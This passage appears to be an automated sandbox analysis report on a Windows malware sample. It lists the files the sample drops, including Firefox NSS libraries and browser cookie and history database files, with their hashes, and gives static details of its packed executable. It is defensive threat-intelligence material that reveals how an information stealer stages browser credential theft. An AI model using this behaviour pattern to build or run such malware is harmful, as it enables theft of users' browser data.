File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJKFCFHJDBKKFHIEHIDGCFCAEB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JEHDHIEGIIIDHIDHDHJJKJKJJD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: L0ad3r.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: L0ad3r.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947154252754403
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'867'776 bytes
MD5:	17bdf25c7e2bf9713c7df0933069db44
SHA1:	453c0adabd283ca3b0b2a0257c2639187f2e0e7f
SHA256:	d82c52dcd1fac4f4ac9b35323db396f185d5598e1a09a63f26559b1cea1869af
SHA512:	a3647a4d12612aa76783ef8ea005b1277757dd710200b7f7489b78643465efe44e66f6f19c8d577dfb0fd2b5fc104b74ea8380f8c208ac09ea38321c029d1aa4
SSDEEP:	24576:wkLgvCw9/vlPPxvrjCNU++r2AH0lFZSWyG3GDwrbx3kXBTAGBlvvT9cX3RJ6IhnU:ZLGCmlPP9vN+Q23oWDGMuAGjvv0fIfX
TLSH:	508533BA2B728F66C12D497DB12D1B324E3539EE21DAA313431A4D772879383C771978
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xaab000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FBF2D13039Ah
divps xmm3, dqword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FBF2D132395h
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], bl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
inc eax
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	83d45d060bcac7148cc70d70a9cc728a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2aa000	0x200	019b798dd5b77e3c5b59c4ec82c1e3fe	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
hsaeqjuf	0x508000	0x1a2000	0x1a1e00	05a045b04e58ebf14cf98dfa205e207a	False	0.9949538915270715	data	7.953470920607387	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
zousqxhp	0x6aa000	0x1000	0x400	9b6d1d19884b6f811a93010effc178b1	False	0.8076171875	data	6.2755367403154745	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
